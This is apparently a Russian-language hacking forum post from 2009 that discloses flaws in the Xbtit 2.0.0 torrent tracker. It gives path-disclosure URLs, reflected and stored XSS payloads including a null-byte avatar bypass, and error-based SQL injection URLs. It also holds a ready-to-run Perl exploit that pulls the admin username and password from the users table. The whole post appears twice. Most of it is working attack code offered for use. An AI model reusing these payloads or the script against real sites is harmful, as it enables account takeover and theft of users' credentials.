Ctacok
13.08.2009, 08:22
Сёдня начал рыться в исходниках.
И так.
Было иследованно на:
Xbtit 2.0.0
Раскрытие путей.
http://target.com/index.php?page=signup&act=signup&returnto[]=
Уязвим GET параметр returnto.
PHPSESSIONID раскрытие путей.
В куках PHPSESSID=!@#$%^&*(
XSS
http://target.com//"><script>alert(document.cookie);</script> - Пассивная
Оло, через ошибку можно =\
/index.php?page=admin&user=123456+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--+&code=1234
/index.php?page=users&order=flag+or(1,1)=(select+count(0),concat((select +database()+from+information_schema.tables+limit+0 ,1),floor(rand(0)*2))from(information_schema.table s)group+by+2)--++&by=ASC
...
if (isset($_GET["order"]))
$order=htmlspecialchars($_GET["order"]);
else
$order="joined";
...
$query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";
/index.php?page=torrents&active=2&order=speed+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--++&by=ASC
Ещё нашёл :)
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Hello HAXTA4OK, mailbrush (Thanks) #\n";
print "################################################## ############\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x 3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+fr om+xbtit_users+limit+1,1),floor(rand(0)*2))from(in formation_schema.tables)group+by+2)";
$doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}else{
print "\n My name is Fail, Epic Fail... \n"
}
Активная XSS:
index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel).
Меняем Avatar(Url) на:
jav ascript:alert();%00.gif
// Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab
Как бы надо хоть как javascript заменять на что-то подобное :)
Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png
Но если делать в <IMG src='javascript:alert();.gif'>
То код выполняться небудет, обычным нулл байтом прокатило :)
Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает :)
Надо что-бы торренты были открыты для публичного просмотра )
И так.
Было иследованно на:
Xbtit 2.0.0
Раскрытие путей.
http://target.com/index.php?page=signup&act=signup&returnto[]=
Уязвим GET параметр returnto.
PHPSESSIONID раскрытие путей.
В куках PHPSESSID=!@#$%^&*(
XSS
http://target.com//"><script>alert(document.cookie);</script> - Пассивная
Оло, через ошибку можно =\
/index.php?page=admin&user=123456+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--+&code=1234
/index.php?page=users&order=flag+or(1,1)=(select+count(0),concat((select +database()+from+information_schema.tables+limit+0 ,1),floor(rand(0)*2))from(information_schema.table s)group+by+2)--++&by=ASC
...
if (isset($_GET["order"]))
$order=htmlspecialchars($_GET["order"]);
else
$order="joined";
...
$query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";
/index.php?page=torrents&active=2&order=speed+or(1,1)=(select+count(0),concat((selec t+database()+from+information_schema.tables+limit+ 0,1),floor(rand(0)*2))from(information_schema.tabl es)group+by+2)--++&by=ASC
Ещё нашёл :)
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Hello HAXTA4OK, mailbrush (Thanks) #\n";
print "################################################## ############\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x 3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+fr om+xbtit_users+limit+1,1),floor(rand(0)*2))from(in formation_schema.tables)group+by+2)";
$doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}else{
print "\n My name is Fail, Epic Fail... \n"
}
Активная XSS:
index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel).
Меняем Avatar(Url) на:
jav ascript:alert();%00.gif
// Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab
Как бы надо хоть как javascript заменять на что-то подобное :)
Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png
Но если делать в <IMG src='javascript:alert();.gif'>
То код выполняться небудет, обычным нулл байтом прокатило :)
Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает :)
Надо что-бы торренты были открыты для публичного просмотра )